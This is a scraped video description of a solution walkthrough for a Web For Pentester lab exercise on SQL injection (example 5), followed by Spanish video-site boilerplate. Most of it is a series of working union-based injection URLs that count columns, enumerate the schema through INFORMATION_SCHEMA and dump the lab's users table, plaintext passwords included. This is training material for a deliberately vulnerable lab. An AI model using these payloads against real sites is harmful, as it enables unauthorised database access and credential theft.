Web For Pentester SQL Injection Example 5 Solution
Web For Pentester SQL Injection Example 5 Solution
Exploiting an SQL Inject attack involves solving a puzzle that is a cross ... The SQL Injection attack allows external users to read details from the database.
Searches related to sql injection attack
Fix Query :
http://192.168.174.132/sqli/example5.php?id=2 %23
Find columns :
http://192.168.174.132/sqli/example5.php?id=2 order by 5 %23
there are 5 columns.
Find Vulnerable column :
http://192.168.174.132/sqli/example5.php?id=2 union select 1,2,3,4,5 %23
1,2,3 is reflecting.
Let's Enumrate Database Name :
http://192.168.174.132/sqli/example5.php?id=2 union select (SELECT+GROUP_CONCAT(schema_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.SCHEMATA),2,3,4,5 %23
Database name : exercises
Find Tables :
http://192.168.174.132/sqli/example5.php?id=2 union select (SELECT+GROUP_CONCAT(table_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA=0x657865726369736573),2,3,4,5 %23
Table Name : users
Find Columns :
http://192.168.174.132/sqli/example5.php?id=2 union select (SELECT+GROUP_CONCAT(column_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME=0x7573657273),2,3,4,5 %23
Columns Name :
id
name
age
groupid
passwd
Extract Data :
http://192.168.174.132/sqli/example5.php?id=2 union select (SELECT+GROUP_CONCAT(0x22494422,id,0x224e616d6522,name,0x2241676522,age,0x2247494422,groupid,0x2250617373776f726422,passwd+SEPARATOR+0x3c62723e)+FROM+exercises.users),2,3,4,5 %23
Extracted Data :
"ID"1"Name"admin"Age"10"GID"10"Password"admin
"ID"2"Name"root"Age"30"GID"0"Password"admin21
"ID"3"Name"user1"Age"5"GID"2"Password"secret
"ID"5"Name"user2"Age"2"GID"5"Password"azerty
THAT'S IT FOR THIS VIDEO.
IF YOU LIKE THIS VIDEO. PLEASE DON'T FORGET TO LIKE SHARE AND SUBSCRIBE OUR CHANNEL.
THANKS FOR WATCHING.
En esta página del sitio puede ver el video en línea Web For Pentester SQL Injection Example 5 Solution de Duración hora minuto segunda en buena calidad , que subió el usuario Shahzad Haxor 02 septiembre 2018, comparta el enlace con amigos y conocidos, en youtube este video ya ha sido visto 527 veces y le gustó 4 a los espectadores. Disfruta viendo!
